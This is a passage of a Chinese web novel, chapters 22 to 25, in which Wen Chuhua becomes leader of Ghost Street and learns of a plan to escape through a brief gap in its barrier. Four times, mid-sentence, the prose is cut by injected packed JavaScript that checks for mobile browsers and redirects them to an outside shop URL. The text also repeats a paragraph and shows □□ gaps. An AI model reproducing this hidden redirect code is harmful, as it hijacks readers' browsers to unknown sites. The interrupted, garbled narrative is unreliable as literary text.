屋子里很暗,只有一扇巴掌大的窗户,透进来一线光。地上铺着稻草,散发着潮湿的霉味。老大蜷在角落里,铁链还缠在手上,铁疙瘩搁在身边。老二靠着墙坐着,鼻梁上还贴着纱布,眼神空洞地盯着对面那堵墙。老三蹲在窗户底下,手指在地上画着什么,嘴里念念有词,听不清在说什么。 三个人看到温初花进来,反应不一样。老大抬起眼皮看了她一眼,又垂下去了。老二没动,像一尊雕塑。老三从地上弹了起来,背贴着墙,手指张开,长指甲在黑暗中闪着暗光,喉咙里发出低沉的、像狗一样的咕噜声。 温初花站在屋子中间,看着他们。 “我想给你们一个机会。”她说。 没有人回答。老三的咕噜声停了,但他的背还是贴着墙,手指还是张着。 “你们以前跟着琴师,他给你们喂药,把你们当狗养。你们帮他打架,帮他吓人,帮他做他自己不愿意做的脏活。他对你们好吗?”温初花看着老大的眼睛,“他给你们吃饱了吗?他给你们治过伤吗?他除了让你们去送死,还做过什么?” 老大的眼珠动了一下。很细微,但温初花看到了。 “我不给你们喂药,”温初花说,“我也不把你们当狗。你们跟着我,我只需要你们做一件事——打架。有人来打我,你们帮我打。有人来打鬼街的人,你们帮我打。就这么简单。” 屋子里安静了很久。 老三的手慢慢地放了下来。他的手指还是张着,但不再对着温初花的方向了。他歪着头看着温初花,那双发着不正常光的眼睛里,有什么东西变了。不是变正常了,是变了方向。 老大开口了。他的声音很低,像是从嗓子眼里挤出来的,沙哑得几乎听不清。“……你……不怕我们?” “怕,”温初花说,“但我更怕死。怕你们不如怕死。” 老大的嘴角抽了一下。他低下头,看着自己手上的铁链。铁链在黑暗中反射着一丝微弱的光,他的手指在链环上慢慢摩挲着,指腹磨过冰凉的金属,发出一种细碎的、像虫子爬过落叶的声响。 “铁链……解开。”老大说。 温初花看了小六一眼。小六犹豫了一下,从腰间掏出钥匙,走过去,蹲下来,把老大手上的铁链解开了。铁链哗啦一声落在地上,老大的手动了一下,像是在适应没有了重量的感觉。他慢慢地握了握拳,又松开,再握拳。动作很慢,像是一个很久没有做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557840|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这个动作的人在重新学习。然后他抬起头,看着温初花。 “行。” 老二没有说话。他靠在墙上,那双空洞的眼睛看着温初花,看了一会儿,然后闭上了。没有点头,没有摇头,但他也没有拒绝。小六蹲下来想给他解铁拳套,他缩了一下手,然后慢慢地伸了出来。 老三还蹲在窗户底下,手指不再画地了。他歪着头看着温初花,嘴里念念有词的声音变大了,大到她听到了几个字。那几个字连不成句子,但有一个词她听清了——“……跟……跟你……” 温初花走出那间屋子的时候,小六跟在后面,把铁门关上了,但这次没有上锁。 “不用锁了,”温初花说,“他们不会跑的。” 小六犹豫了一下,把锁挂在门鼻上,但没有扣上。 走出铁匠铺的时候,阳光已经升高了。老周还在打铁,叮叮当当的声音从铺子里传出来,节奏不快不慢,像心跳。 姓赵的带着几个人在巷口收拾昨晚打架留下的烂摊子——碎砖头、断木棍、地上的血迹,一桶一桶地往外抬。 方敏带着人在街那头分发物资,有人排队,有人帮忙,有人站在旁边看,看到温初花走过来,往旁边让了让。 温初花站在十字路口,看着这一切。 鬼街还是那个鬼街,破,脏,乱。墙上的小广告还是那么多,路面的坑还是那么深,头顶的电线上还是挂着不知道挂了多久的塑料袋。但有什么东西不一样了。 人也还是那些人,但他们看她的眼神变了——不是怕,是那种溺水的人看到岸边的眼神。 她还不能算岸,但她至少是一根浮木,能让他们抓一下。 她想起了沈婆婆说过的话——“他们不会让你安静的。”沈婆婆说得对。琴师不让她安静,林生宸不让她安静,现在她当了鬼街的首领,更不可能安静了。 但她发现自己好像不那么在意了。不是不怕了,是没时间怕。 苏游云不知什么时候出现在十字路口的另一边。他穿着那件深灰色的薄外套,两手插在兜里,站在那里,像一堵沉默的墙。不知道站了多久,也不知道在看什么。 温初花走过去,在他面前停下来。 “我现在是鬼街的老大了。”她说。 苏游云看着她。“感觉怎么样?” “感觉……”温初花想了想,“像是接了一个烫手的山芋。不对,是一锅烫手的山芋。一大锅。” 苏游云的嘴角微微动了一下。那个弧度很小,小到不仔细看根本看不出来,但温初花看出来了。那是笑。 “你笑什么?” “笑你。”苏游云说,“当了老大还在担心烫手。” 温初花哼了一声,从他身边走过去,走了两步,又停下来。 “苏游云。” “嗯。” “你说过,要一起想办法离开这里。” “说过。” “那现在,”温初花偏头看着他,“你有办法了吗?” 苏游云沉默了一瞬,然后在晨光中转过头来,看着她的眼睛。 那双眼睛还是没什么表情,但她觉得里面有什么东西亮了一下,像是一盏灯被人拧开了开关,光线从缝隙里漏出来,不亮,但你能感觉到它在发光。 “还在想。”他说。 温初花等了两秒,确定他没下文了,翻了个白眼。“行吧,你想。我先去吃饭了。” 她转身往陈老板的摊子走去。走了几步,听到身后跟上了另一个人的脚步声。 她没有回头。 22. 你们居然都有秘密 事情平息后的第三天傍晚,温初花端着饭盒上了五楼。 沈婆婆开门的时候,温初花注意到老人的气色比前几天好了一些。眼下的青黑淡了,扶着门框的手指也不像之前那样骨节突出得吓人。 她没说破,端着托盘进了屋,把饭盒摆在桌上。 今天是红烧鱼,陈老板特意留了一条大的,鱼肚子上的肉最厚,没刺,适合老人吃。旁边配了一碟炒青菜和一碗冬瓜汤。 温初花把筷子摆好,倒了一杯温水放在沈婆婆手边,然后在对面坐下来。 沈婆婆夹了一块鱼肉,慢慢地嚼着。温初花胳膊肘撑在桌上,托着腮帮子看她吃。 屋里很安静,只有筷子碰到碗沿的声音和窗外偶尔传来的狗叫。 “听说你把琴师那边的人收了?”沈婆婆忽然开口。 “收了。”温初花说,“不收了怎么办?放着不管,他们还得闹。” “那三兄弟呢?” “也收了。留着有用。” 沈婆婆放下筷子,端起水杯喝了一口,又放下。她的目光落在温初花脸上,看了几秒,然后移开了,落在窗外那片灰蒙蒙的天上。 “你比我想的要快。”沈婆婆说。 “快什么?” “快坐到这个位置上。”沈婆婆的声音不大,但每个字都说得很清楚,“我以为你至少要半年才能站稳。现在看来,用不了那么久。” 温初花不知道该怎么接这句话。她从来没想过要“坐到这个位置上”,是事情推着她走到这一步的。但沈婆婆说得对——她确实坐下来了,而且坐得比她自己想的要稳。 沈婆婆又夹了一块鱼,这次没吃,放在碗边,用筷子把鱼刺一根一根地挑出来。她的手指很稳,挑刺的动作很慢,像在做一件需要耐心的事。 “初花,”沈婆婆叫她名字的时候,语气跟平时不一样了,沉了一些,“你知道我为什么跟你说这些吗?” 温初花看着她。 沈婆婆把挑好刺的鱼肉放进嘴里,嚼了很久,咽下去,然后抬起头来,正视着温初花的眼睛。那双浑浊的老眼里头,有一种温初花从来没有见过的光——不是慈祥,不是关切,是一种更重的东西,像是把所有的筹码都推到桌子中央,等着开牌。 “因为我等了二十年,”沈婆婆说,“终于等到你了。” 温初花的手指在桌沿上轻轻敲了一下。 沈婆婆靠在椅背上,目光从温初花脸上移开,落在墙上那幅山水画上。 那只缺了角的镜框在墙上挂着,里面的画纸已经泛黄了,但画面上的山水还是清晰的——一座山,一条河,一艘小船,船上坐着一个人,看不清楚脸。 “你不想知道怎么离开鬼街吗?”沈婆婆问。 温初花的脊背绷紧了。 鬼街能进不能出,这是所有人都知道的事。那道拱门像一张嘴,你走进去了就再也走不出来。 无数人试过——硬闯的、找弱点的、等机会的——没有一个成功。强行冲出去的人,都死在了门口。久而久之,没有人再试了。 鬼街的居民把“出去”这两个字从字典里抠掉了,不再想,不再提,就当自己已经死了。 温初花也想过。但她从来没有跟任何人说过。 “你知道?”她问。 沈婆婆没有直接回答。 她端起水杯,又喝了一口,慢慢地咽下去,把杯子放回桌上。杯底磕在木头上,发出一声沉闷的响,像是什么东西落了地。 “鬼街为什么出不去?”沈婆婆说,“因为下面有一条缚灵粒子的矿脉。它产生的能量场形成了屏障,把整条鬼街罩在里面。能进不能出。” 温初花点了点头。这些她听沈婆婆说过。 “但这条矿脉不是永远稳定的。”沈婆婆的声音压低了,“每隔一段时间,它会因为能量过载出现‘裂缝’。裂缝出现的瞬间,屏障会变弱。如果从外部给予足够强的特定频率能量冲击,可以暂时打开一条通道。” 温初花的手在桌沿上停住了。 “裂缝”、“屏障变弱”、“外部能量冲击”、“通道”,这些词在她的脑子里转了几圈,像几块拼图在不断旋转,试图完美契合在一起。 她盯着沈婆婆的脸,想从那双浑浊的老眼里找到一丝不确定。 但她更想找到一丝肯定。 沈婆婆说这些话的时候,语气平淡得像在说今天天气不错,但每一个字都咬得很重,像钉子钉进木板里,拔不出来。 “通道能开多久?”温初花问。 沈婆婆伸出三根手指。 “三分钟?” “几秒。”沈婆婆说,“可能三秒,可能五秒,不会更长。” 温初花靠在椅背上,把沈婆婆说的话在脑子里过了一遍。 矿脉的裂缝,外部的能量冲击,几秒钟的通道。 几秒钟,够了。 “那我们怎么定位裂缝?怎么知道裂缝什么时候出现?”她问。 沈婆婆没有立刻回答。 她的目光从温初花脸上移开,落在门口的方向。 温初花顺着她的目光看过去。 门是关着的。 但温初花感觉到了,门外站着一个人。 走廊里的灯还是坏的,月光从拐角那扇破窗户照进来,把一个人的影子投在门板的底下——很长很薄,像一把没有出鞘的刀。 苏游云。 温初花愣了一下。她不知道他什么时候来的,也不知道他在门口站了多久。 这个男人总是能逃过她的注意,或许在内心里已经把他纳入了安全范围,才会对他的存在缺少警惕。 她走过去,把门打开,苏游云站在走廊里,两手插在裤兜里,表情一如既往地平静。 他的目光越过温初花的肩膀,落在屋里的沈婆婆身上。 沈婆婆看着他,他也看着沈婆婆。 温初花站在两个人之间,看看这个,又看看那个。 “什么意思?”她问,“你们认识?” 沈婆婆摇了摇头。“不认识。但我知道他是谁。” 苏游云走进屋里,没有坐下,靠在墙边。 他的动作很随意,但温初花注意到他的目光一直落在沈婆婆身上,没有移开过。 那种看的方式不是打量,是审视——像两个棋手在开局之前看着棋盘,都在等对方先走第一步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560859|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈婆婆先开口了。 “你就是凌歌派来的那个人。” 不是疑问句,是陈述句。 苏游云没有说话。 沈婆婆端起水杯,发现里面没水了,又放下了。她的手指在杯沿上慢慢地画着圈,一圈,两圈,三圈。 “凌歌的预言,说鬼街会出现一个能改变一切的人。二十年前他就知道了。”沈婆婆的声音很慢,像在回忆一个很久远的故事,“但他没有告诉任何人那个人是谁。因为他知道,说出来,那个人就活不到今天。” 温初花站在桌边,看着沈婆婆,又看着苏游云。 沈婆婆抬起头,看着苏游云。“你进来,不是为了躲谁。你是为了找她。而找她,是为了带她出去。” 苏游云沉默了很长时间。长到温初花以为他不会回答了。 墙上的山水画又晃了一下,镜框缺角的地方在墙上投下一小块奇怪的影子,正好落在沈婆婆的侧脸上。窗外的风吹得竹叶沙沙响,那种声音从远处传来,像海浪拍打礁石,一下一下的,很有节奏。 “凌歌说,”苏游云终于开口了,声音不大,但每个字都清清楚楚,“只有找到那个人,鬼街的出口才会打开。” 沈婆婆点了点头,好像这个答案她早就知道。 温初花站在两人中间,手指无意识地攥紧了桌沿。 “所以,”她的声音有些发涩,“你从一开始就知道我是谁。你来鬼街,就是为了找我。” 苏游云看着她。“我知道预言说那个人在鬼街。但我不知道是谁。直到——” “直到什么?” 苏游云没有说下去。他的目光落在她的脸上,停了两秒,然后移开了。 温初花深吸了一口气,把沈婆婆刚才说的话在脑子里重新过了一遍。 她抬头看着沈婆婆。 “那我们怎么定位裂缝?怎么通知外面的人?” 沈婆婆看着苏游云。“这就是他进来的原因。” 屋里安静了。安静到温初花能听到自己的心跳声,一下一下的,又重又急。 她转向苏游云。 “你能联系外面?” 苏游云从口袋里掏出一个小东西,放在桌上。是一个传信器,比阿七给她的那个更小,更薄,表面有一层淡淡的金属光泽。 不是鬼街能见到的东西,也不是藤洲岛能买到的东西。这个东西来自更远的地方,来自外面那个被高科技堆砌起来的世界。 “凌歌给我的。”苏游云说,“只有三条线。我已经用了两条。” 温初花看着那个小小的传信器,又看着苏游云的脸。他的表情还是那样,平静,没什么表情。但她注意到他的瞳孔比平时大了一点,在昏暗的灯光下几乎占满了整个虹膜。 “最后一条线,”苏游云说,“是留给通道打开的时候用的。” “发给谁?”温初花问。 苏游云看着她的眼睛。“你不需要知道。” 温初花盯着他看了两秒,然后移开了目光。 她没有追问。 不是不想问,是她知道问了也没用。这个人不想说的事情,你拿刀架在他脖子上他也不会说。 23. 密谋一下怎么出去 温初花在椅子上坐下来,把沈婆婆刚才说的话在心里又过了一遍。 “所以,”她说,“你们的意思是——鬼街的出口会在某个时候出现裂缝。苏游云能用传信器通知外面的人,从外部给屏障一个能量冲击,把裂缝撕开一个口子。那个口子只能维持几秒钟。我必须在那个时间点站在拱门那里,穿过去,到外面去。” 沈婆婆点了点头。 温初花沉默了一会儿。 “那鬼街其他人呢?” 沈婆婆和苏游云都没有说话。 温初花看着他们,忽然明白了。 这个计划不是为了救鬼街所有人设计的。这个计划是为了让她一个人出去设计的。几秒钟的通道,只能容一个人穿过。 其他人,包括沈婆婆、老周、小六、方敏、姓赵的——所有人,都出不去。 她靠在椅背上,看着墙上那幅山水画。画里的船很小,船上的人看不清脸。那条河很宽,宽到船在河面上像一片树叶。 “还有多久?”温初花问,“裂缝什么时候出现?” 沈婆婆端起那只空杯子,又放下了。她的手指在杯沿上慢慢地画着圈,一圈,两圈,三圈。 “我不知道,”她说,“可能是明天,可能是明年。也可能……永远不会来。” 温初花的手指在桌沿上停住了。 沈婆婆看着她,那双浑浊的老眼里头有一种说不清道不明的东西。“矿脉的裂缝没有规律。上一次出现,是十年前。” 温初花不知道该说什么。 她从椅子上站起来,走到窗边,拉开那扇灰蒙蒙的玻璃窗。 风从外面灌进来,带着鬼街特有的那股霉味和远处垃圾堆的腐臭。她看着远处那道永远翻涌着白雾的拱门,月光照在雾上,把整片雾染成了银白色。 那道门她来的时候穿过一次。 那时候她浑身是伤,被人追杀,走投无路,一头扎进了这片浓雾。雾里的感觉很痛苦,像有什么东西在抽取她的骨髓。她以为自己会死在那片雾里,但她没有。 她走了出来,走进了鬼街,走进了这个能进不能出的牢笼。 现在有人告诉她,这个牢笼有一扇门。 那扇门会在某个不确定的时间、以某种不确定的方式、打开几秒钟。 她需要在那个瞬间站到门前,穿过去,到外面去。 而苏游云,从一开始就是为了这个而来的。 温初花站在窗前,没有回头。 “你为什么不早点告诉我?” 身后沉默了很久。 “因为你不信我。”苏游云的声音从身后传来,不大,但每个字都很清楚,“如果你一开始就知道我是为了预言来的,你会信我吗?” 温初花张了张嘴,想说“会”,但那个字卡在喉咙里,吐不出来。 她知道他说得对。如果苏游云在来鬼街的第一天就对她说——嗨,我是为了凌歌的预言来找你的,你能改变一切——她会怎么做?她会把刀架在他脖子上,问他到底是谁派来的,是不是□□的,是不是来杀她的。 她不会信他。一个字都不会。 温初花转过身,看着苏游云。 他站在桌边,月光从窗户照进来,落在他的肩上。他还是那副样子,平静,没什么表情,像一堵刷了很多层白漆的墙。 但她现在知道,那堵墙后面有东西。有他的目的,他的计划,他的——她不知道那算不算信任。 “那现在呢?”温初花问,“你觉得我现在信你了吗?” 苏游云看着她。 “你在听我说话,”他说,“这就是信。” 温初花盯着他的眼睛看了两秒,然后移开了目光。 她走到门口,拉开门,走廊里的冷风灌进来,吹得她外套的下摆一掀一掀的。 “我回去想想。”她说。 她没有等他们的回答,走出了门,脚步声在走廊里一下一下地响着,越来越远。下了楼,走到三楼的时候,她在苏游云那扇干干净净的门前停了一下。 她站在门口,把额头抵在冰凉的门板上,站了两秒,然后转过身。 回到屋里,她没有开灯。她在黑暗中坐到行军床上,把匕首从枕头底下抽出来,握在手心里。刀柄上的凹槽贴合着她的掌心,冰凉的金属在她的体温下慢慢变暖。 她想起了很多事情——三个月前那个雨夜,她从尸体身上搜出那封信,信上写着凌歌的预言。她烧了那封信,但预言的内容她记住了。 “破笼之人已至。其名藏花,其手藏匣。” 不是因为相信,是因为那些字太扎人了,像烧红的烙铁,碰到了就留下疤。 她以为烧了信就没事了。但预言没有烧掉,它跟着她到了藤洲岛,到了鬼街,到了今天。 现在苏游云告诉她,鬼街的出口会打开,她可以出去。而他在外面有人,有人会在那个瞬间帮她打开那扇门。 温初花在黑暗中把匕首翻了个面,看着刀身上反射的微光。 她不知道苏游云说的是不是真的。不知道沈婆婆说的裂缝是不是真的。不知道那个传信器是不是真的能联系到外面的人。 她甚至不知道预言是不是真的——那个关于她能改变一切的预言。 但她知道一件事。 如果有一天那扇门真的打开了,她会站在那里。 不是为了拯救异人族群。不是为了成为什么至尊。 是为了她自己。 这个念头落定之后,她反而不那么焦躁了。脑子里翻涌的那些东西——猜疑、犹豫、不安——像被一只手轻轻按住了,慢慢地沉了下去,沉到心底最深的地方,不再浮上来。 她把匕首重新压回枕头底下,站起来,在黑暗中站了两秒,然后拉开门,走了出去。 走廊里的灯还是坏的。月光从拐角那扇破窗户照进来,在水泥地面上铺了一层薄薄的银白色。她站在门口,看着走廊对面那扇门。门关着,门缝底下透出一线光。 几步路的距离。她深吸了一口气,走过去,站定,抬手敲了三下。 门开了。 苏游云站在门口,穿着那件浅灰色的薄毛衣,衬衫还是扣到最上面一颗。他的头发还没干,像是刚洗过澡,眼镜片上蒙了一层薄薄的水雾。他看了温初花一眼,没有问“你怎么来了”,侧身让开了门。 温初花走进去,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565543|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椅子上坐下来。苏游云关上门,靠在桌沿上,抱着胳膊看着她。 “你说你能联系外面的人,”温初花开门见山,“是谁?” 苏游云看着她,沉默了几秒。 “救赎会。” 温初花皱了皱眉。“没听过。” “你没听过很正常。”苏游云说,“救赎会不会出现在任何公开记录里。成员不多,从不在公众面前露面,也不参与任何势力斗争。他们的存在,只有极少数人知道。” “凌歌是你们的人?” 苏游云微微点了一下头。“凌歌是救赎会的合作者。他的预言,有一部分是基于救赎会的研究数据。” 温初花靠在椅背上,默默思考着这一切。 “你们研究的是什么?” “缚灵粒子系统。”苏游云说,“从它诞生的那天起,救赎会就在研究它。” 他转过身,从桌上拿起一张纸,一支笔,在纸上画了一个大圆,又在圆中间画了一条波浪线。 他的字写得一般,唯一的优点就是规整,就像是机器人的笔迹,但图画得很清楚,线条干净利落。 “外部世界,缚灵粒子压制异人的能力。藤洲岛,缚灵粒子失效,异人可以正常使用能力。鬼街,缚灵粒子矿脉吸收异人的能量。”苏游云在三个位置分别点了点,“表面上看是三种不同的状态,但本质上是同一套系统——缚灵粒子在不同环境下的不同表现。而控制这一切的核心,是你从□□带走的那个黑匣子。” 温初花的手不自觉地放在了胸口。 黑匣子,那个巴掌大的黑色方块,此刻就在她外套内侧的暗袋里。 她几乎忘了它的存在,但它一直在那里,贴着她的胸口。 “救赎会研究缚灵粒子研究了二十年。”苏游云把笔放下,“他们的结论是——这套系统是可以被关闭的。但需要两个条件。第一,母钥。就是那个黑匣子。第二,操作者。一个能激活母钥的人。” “那个人是我?” 苏游云看着她。“预言说,只有你能激活母钥。从你当年能从□□的实验室带走它的时候,我们就知道了——你已经走进这个预言里了。” 温初花沉默了一会儿。 “救赎会的计划是什么?” 苏游云转过身,从抽屉里拿出一张叠得整整齐齐的纸,展开来,铺在桌上。 纸上画着一张地图——是鬼街的俯瞰图,街道、房屋、拱门,全都标得清清楚楚。拱门外围画了一圈虚线,虚线外面写着几个字:能量脉冲装置部署点。 “救赎会已经在鬼街外围部署了三台能量脉冲装置。”苏游云的手指沿着那条虚线画了一圈,“只要定位到矿脉的裂缝,就可以从外部发射脉冲,对屏障进行冲击。裂缝会被撕开一个口子,形成一个短暂的通道。” “通道能维持多久?” “不超过五秒。” “然后呢?” 苏游云的手指移到拱门的位置。“你从这里穿过去。外面有人接应。” 温初花盯着那张地图看了很久。她的目光从拱门移到那条虚线,又从虚线移回拱门。 “我怎么知道裂缝什么时候出现?” 24. 我这么厉害的吗 苏游云的手指停在了一个标注着“矿脉中心”的位置。“需要有人在这里感知能量波动。裂缝出现之前,矿脉的能量场会发生剧烈变化。这种变化可以被感知到——但不是每个人都能做到。” “为什么?” “因为鬼街会吸收异人的能力。在这里待久了,体内几乎没有残留的能量。感知能力也会随之退化。”苏游云看着她,“但你的情况不一样。” 温初花的手指在椅子扶手上轻轻敲了一下。 “你的能力是什么?”苏游云问。 温初花抬起头看着他。 这个问题,从来没有人问过她。 不是没人好奇,是她从来不答。 因为她的能力太特别了,特别到说出来就会被人盯上。 □□里的人只知道她能打、能扛、能在绝境里翻盘,但没人说得出她的能力到底是什么。 追杀她的人只知道她难杀,杀不死,每次以为得手了,她总能从血泊里再站起来。但也没人说得清她是怎么做到的。 她把这个秘密藏了很多年。藏到有时候自己都快忘了。 “能量吞噬。”温初花说。 苏游云的眼睛亮了一下。那种光不是惊讶,是确认——像是一个猜了很久的谜题终于看到了答案。 他的瞳孔微微放大了,在灯光下几乎占满了整个虹膜,那种光在眼底深处跳动着,像一盏灯被人拧开了开关。 “我的能力是吞噬外界的能量,转化为己用。”温初花的声音不大,但每个字都说得很清楚,“外界的异能者打我一拳,我可以把他的能量吸走。我追不上的人,可以用他的能量加速。遇到危险的时候,我能把周围一切可用的能量收为己有,在瞬间爆发出超越极限的力量。” 苏游云沉默了片刻。 “你的能力简直完美,让我不得不确信凌歌预言中的人就是你。” 苏游云靠在桌沿上,两只手插在裤兜里。“能量吞噬的本质是对能量的感知和控制。你能感知到外界能量的流动,才能知道从哪里‘吞噬’。这种感知力,即使在鬼街被压制的情况下,也可能存在残余。因为你感知的不是你自己体内的能量,而是外界环境的能量。” 温初花把手伸出来,掌心朝上,看着自己空荡荡的手。 她试着去感受周围空气中的能量。什么也没有。 鬼街的空气是空的,像一块被拧干了水的海绵,什么都没有。 苏游云走到她面前,蹲下来,跟她的视线平齐。 “你不需要现在就有答案。”他说,“你只需要记住——如果你能在裂缝出现之前感知到能量波动,我们就可以提前知道裂缝出现的时间。你就可以提前等在拱门那里。” 温初花看着他的眼睛。那么近的距离,她能看清他眼镜片后面的每一根睫毛。 他的眼睛是深褐色的,瞳孔比平时大了一圈,几乎占满了整个虹膜。那双眼睛里没有说谎时的那种闪烁,也没有隐瞒时的那种回避。 他说的是真话。 “你为什么告诉我这些?”温初花问,“你不是说要等到我信任你的时候才说吗?” 苏游云的嘴角微微动了一下。 “你来找我了,”他说,“这还不够吗?” 温初花张了张嘴,想说点什么,但嗓子像被什么东西堵住了。 她清了清嗓子,把目光从他脸上移开,落在桌上那张地图上。 拱门,虚线,标注着“能量脉冲装置部署点”的字样。 这些字写得很小,但每一笔都很用力,笔尖几乎要把纸戳破了。 “我还有最后一个问题。”她说。 “说。” “救赎会为什么要做这些?为什么要花二十年研究缚灵粒子?为什么要派人进鬼街找我?为什么要帮异人?”温初花看着他的眼睛,“对他们有什么好处?” 苏游云沉默了很久。 “救赎会的创始人,”他开口了,声音比平时低了一些,“是一个异人。” 温初花的手指在椅子扶手上停住了。 “他的妻子也是异人。五洲联盟发现了他们的身份,把他们抓起来,关进了研究所。他的妻子死在研究所里。”苏游云的声音很平,平得不像在说一个人的生死,“他活了下来,成立了救赎会。不是为了报仇,是为了不让同样的事情发生在其他异人身上。” 温初花不知道该说什么。 她低下头,看着自己放在膝盖上的手。 她的手上有茧,有疤,有今天新磨破的皮。 这些痕迹记录了她这些年的每一天——打架、逃命、受伤、爬起来。 她从来不是为了什么大义在做这些事,她只是为了活着。 但救赎会不一样。他们是为了更多的人活着。 “你也是异人吗?”温初花问。 苏游云的嘴角没有动,眼神没有变,呼吸没有乱,但他的右手——垂在身侧的那只——手指微微蜷了一下。 很细微,细微到普通人根本注意不到。 但温初花看出来了。她不知道这个沉默是什么意思,但她知道他在回避。 她想起了一些细节。 他给她治腿的时候,针尖悬在皮肤上方,那股暖流从针尖渗进她的骨头里——那需要能量,但在鬼街,异人的能量会被矿脉吸走。 他是怎么留住那些能量的? 他不是异人。 她忽然意识到这一点。异人进了鬼街会失去能力,会虚弱,会像她刚来的时候那样连楼梯都爬不动。 苏游云没有。他从来没有表现出那种虚弱。 他不是异人。 那他的能量从哪来的? 苏游云看着她的眼睛,沉默了片刻。 “我不是异人。”他说。 温初花的手指在膝盖上停了一下。 “我没有异能力量,也无法使用任何异能。但我拥有一种通过科技改造和特殊训练获得的能量感知能力。” 他的声音不大,但每个字都说得很清楚,“我能感知到能量场的流动、变化、波动。在鬼街,这种感知力没有被压制,因为它不是异能力量。” 温初花张了张嘴,又闭上了。 她想起那些细节——他在屋顶上无声无息地出现,他在巷战中精准地避开每一个攻击,他给她治腿时那股暖流。那些不是异能,是科技。 是来自外面那个世界的、被禁止带入藤洲岛的高科技。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569261|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“所以你来鬼街,”温初花说,“不只是因为你愿意。是因为你能做到别人做不到的事。” 苏游云看着她,没有承认,也没有否认。 温初花靠在椅背上,这个男人身上有太多的秘密,每一个秘密都像一层壳,剥开一层还有一层。她不知道最里面是什么,但她知道,至少他没有骗她。 “行,”她说,“不是异人就不是异人。我不在乎。” 苏游云的目光在她脸上停了一瞬。 那种眼神她没见过——不是平静,不是审视,是某种更柔软的东西,像是一层薄冰下面有水在流动。 “我知道你不在乎。”他说。 温初花低下头,把袖子放下来,挡住小臂上的纱布。 纱布下面那道疤还在痒,她忍住了没挠。 温初花站起来,把椅子推回桌下。 椅子腿在地板上蹭了一声,闷闷的。 “我试试。”她说。 “什么?” “感知能量波动。”温初花看着他,“我不知道能不能做到。但我试试。” 苏游云点了点头。 温初花转身走向门口,手搭在门把手上,停了一下。 “苏游云。” “嗯。” “谢谢你告诉我这些。” 身后没有回应。她拧开门,走了出去。走廊里的冷风灌进来,吹得她外套的下摆一掀一掀的。她走到楼梯口的时候,听到身后传来门关上的声音,很轻,像一声叹息。 回到屋里,她没有开灯。 她在黑暗中坐到行军床上,把黑匣子从外套暗袋里掏出来,放在掌心里。 黑匣子还是那个样子,巴掌大,方方正正,表面不反光,温润的触感像握着一块凝固了温度的东西。 她把黑匣子放在桌上,然后把双手摊开,掌心朝上。 闭上眼睛。 她试着去感受。 不是用手,不是用眼睛,是用身体里那个被锁了很久的东西——她的能力。 在鬼街的四个月里,她从来没有尝试去召唤它。 因为她知道它不在,知道它被吸走了,知道它像石沉大海一样消失得无影无踪。 但现在,她需要它回来。 哪怕只有一点点。 黑暗中,她感觉到了一股微弱的热流。从她的胸口,沿着血管,流向肩膀,流向手臂,流向手掌。 那股热流很弱,弱到几乎感觉不到,但它确实存在。 像一根被风吹得快要熄灭的蜡烛,在最后时刻挣扎着亮了一下。 温初花睁开眼睛。 掌心里什么都没有。但她的手指微微发烫,像有什么东西在里面流动。 她把黑匣子握在手心里,感受着那股微弱的热度。 黑匣子似乎比平时更温了一些,像是在回应她体内那股微弱的能量。 温初花不知道这是不是自己的错觉。 也不知道这个能力能不能用来感知矿脉的能量波动。 但她知道,从今天开始,她不再只是被动地等着那扇门打开了。 她可以去找那扇门,去感知它,去触碰它。 她握着黑匣子,在黑暗中坐了很久。 25. 邻居帮帮忙吧 接下来的日子里,温初花开始做一件所有人都认为不可能的事——在鬼街使用能力。 她决定自己先试试。 不靠任何人,就靠自己。 温初花决定自己先试试。 不靠任何人,就靠自己。 沈婆婆说裂缝出现之前矿脉的能量场会发生剧烈变化,那种变化可以被感知到。 她活了二十六年,从来不是靠别人活下来的。 凭什么到了鬼街就得依赖一个认识不到四个月的男人? 她关了灯,坐在床上,盘着腿,双手放在膝盖上,闭着眼睛。 